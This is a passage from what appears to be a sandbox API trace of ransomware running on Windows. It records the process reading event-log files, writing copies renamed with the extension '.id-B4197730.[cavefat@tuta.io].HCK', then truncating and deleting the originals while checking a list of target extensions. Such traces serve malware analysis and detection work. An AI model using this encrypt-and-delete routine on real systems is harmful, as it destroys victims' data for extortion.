GetLastError () returned 0x0 [0154.927] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.930] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.931] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.931] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x136, lpOverlapped=0x0) returned 1 [0154.932] SetEndOfFile (hFile=0x364) returned 1 [0154.932] CloseHandle (hObject=0x364) returned 1 [0154.933] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.933] SetEndOfFile (hFile=0x380) returned 1 [0154.934] CloseHandle (hObject=0x380) returned 1 [0154.935] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.935] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0154.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.935] lstrlenW (lpString=".doc") returned 4 [0154.935] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".docx") returned 5 [0154.935] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.935] lstrlenW (lpString=".pdf") returned 4 [0154.935] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".xls") returned 4 [0154.935] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".xlsx") returned 5 [0154.935] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.935] lstrlenW (lpString=".ppt") returned 4 [0154.935] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.935] lstrlenW (lpString=".zip") returned 4 [0154.935] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".rar") returned 4 [0154.935] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".bz2") returned 4 [0154.935] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.935] lstrlenW (lpString=".7z") returned 3 [0154.935] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.935] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.935] lstrlenW (lpString=".dbf") returned 4 [0154.935] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".1cd") returned 4 [0154.936] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".jpg") returned 4 [0154.936] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".doc") returned 4 [0154.936] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".docx") returned 5 [0154.936] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.936] lstrlenW (lpString=".pdf") returned 4 [0154.936] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".xls") returned 4 [0154.936] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".xlsx") returned 5 [0154.936] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.936] lstrlenW (lpString=".ppt") returned 4 [0154.936] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".zip") returned 4 [0154.936] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".rar") returned 4 [0154.936] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".bz2") returned 4 [0154.936] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString=".7z") returned 3 [0154.936] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".dbf") returned 4 [0154.936] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".1cd") returned 4 [0154.936] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0154.936] lstrlenW (lpString=".jpg") returned 4 [0154.936] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.936] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.936] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0154.936] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.938] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.938] CloseHandle (hObject=0x380) returned 1 [0154.938] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0154.938] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.938] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.938] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.938] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.938] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.939] GetLastError () returned 0x0 [0154.939] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.941] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.942] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.942] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x134, lpOverlapped=0x0) returned 1 [0154.942] SetEndOfFile (hFile=0x364) returned 1 [0154.942] CloseHandle (hObject=0x364) returned 1 [0154.944] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.944] SetEndOfFile (hFile=0x380) returned 1 [0155.422] CloseHandle (hObject=0x380) returned 1 [0155.422] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.423] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString=".doc") returned 4 [0155.423] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".docx") returned 5 [0155.423] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.423] lstrlenW (lpString=".pdf") returned 4 [0155.423] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".xls") returned 4 [0155.423] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".xlsx") returned 5 [0155.423] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.423] lstrlenW (lpString=".ppt") returned 4 [0155.423] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString=".zip") returned 4 [0155.423] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".rar") returned 4 [0155.423] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".bz2") returned 4 [0155.423] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString=".7z") returned 3 [0155.423] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString=".dbf") returned 4 [0155.423] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString=".1cd") returned 4 [0155.423] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString=".jpg") returned 4 [0155.423] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.423] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.424] lstrlenW (lpString=".doc") returned 4 [0155.424] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".docx") returned 5 [0155.424] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.424] lstrlenW (lpString=".pdf") returned 4 [0155.424] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".xls") returned 4 [0155.424] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".xlsx") returned 5 [0155.424] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.424] lstrlenW (lpString=".ppt") returned 4 [0155.424] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.424] lstrlenW (lpString=".zip") returned 4 [0155.424] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".rar") returned 4 [0155.424] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".bz2") returned 4 [0155.424] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString=".7z") returned 3 [0155.424] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.424] lstrlenW (lpString=".dbf") returned 4 [0155.424] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.424] lstrlenW (lpString=".1cd") returned 4 [0155.424] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.424] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0155.424] lstrlenW (lpString=".jpg") returned 4 [0155.424] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.424] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.424] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0155.424] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.425] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.425] CloseHandle (hObject=0x380) returned 1 [0155.425] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0155.425] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.425] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.425] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.425] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.425] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.425] GetLastError () returned 0x0 [0155.425] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.428] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.430] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.430] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x136, lpOverlapped=0x0) returned 1 [0155.430] SetEndOfFile (hFile=0x308) returned 1 [0155.430] CloseHandle (hObject=0x308) returned 1 [0155.432] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.432] SetEndOfFile (hFile=0x380) returned 1 [0155.433] CloseHandle (hObject=0x380) returned 1 [0155.433] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.433] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0155.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.433] lstrlenW (lpString=".doc") returned 4 [0155.433] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.433] lstrlenW (lpString=".docx") returned 5 [0155.433] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.434] lstrlenW (lpString=".pdf") returned 4 [0155.434] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".xls") returned 4 [0155.434] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".xlsx") returned 5 [0155.434] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.434] lstrlenW (lpString=".ppt") returned 4 [0155.434] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".zip") returned 4 [0155.434] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".rar") returned 4 [0155.434] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".bz2") returned 4 [0155.434] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".7z") returned 3 [0155.434] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".dbf") returned 4 [0155.434] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".1cd") returned 4 [0155.434] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".jpg") returned 4 [0155.434] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".doc") returned 4 [0155.434] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".docx") returned 5 [0155.434] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.434] lstrlenW (lpString=".pdf") returned 4 [0155.434] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".xls") returned 4 [0155.434] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".xlsx") returned 5 [0155.434] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.434] lstrlenW (lpString=".ppt") returned 4 [0155.434] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".zip") returned 4 [0155.434] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".rar") returned 4 [0155.434] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".bz2") returned 4 [0155.434] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString=".7z") returned 3 [0155.434] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.434] lstrlenW (lpString=".dbf") returned 4 [0155.434] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.435] lstrlenW (lpString=".1cd") returned 4 [0155.435] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0155.435] lstrlenW (lpString=".jpg") returned 4 [0155.435] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.435] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.435] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0155.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.435] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0155.435] CloseHandle (hObject=0x380) returned 1 [0155.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0155.435] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.435] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.435] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.435] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.436] GetLastError () returned 0x0 [0155.436] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.438] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.439] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.439] WriteFile (in: hFile=0x308, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x14a, lpOverlapped=0x0) returned 1 [0155.439] SetEndOfFile (hFile=0x308) returned 1 [0155.439] CloseHandle (hObject=0x308) returned 1 [0155.441] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, 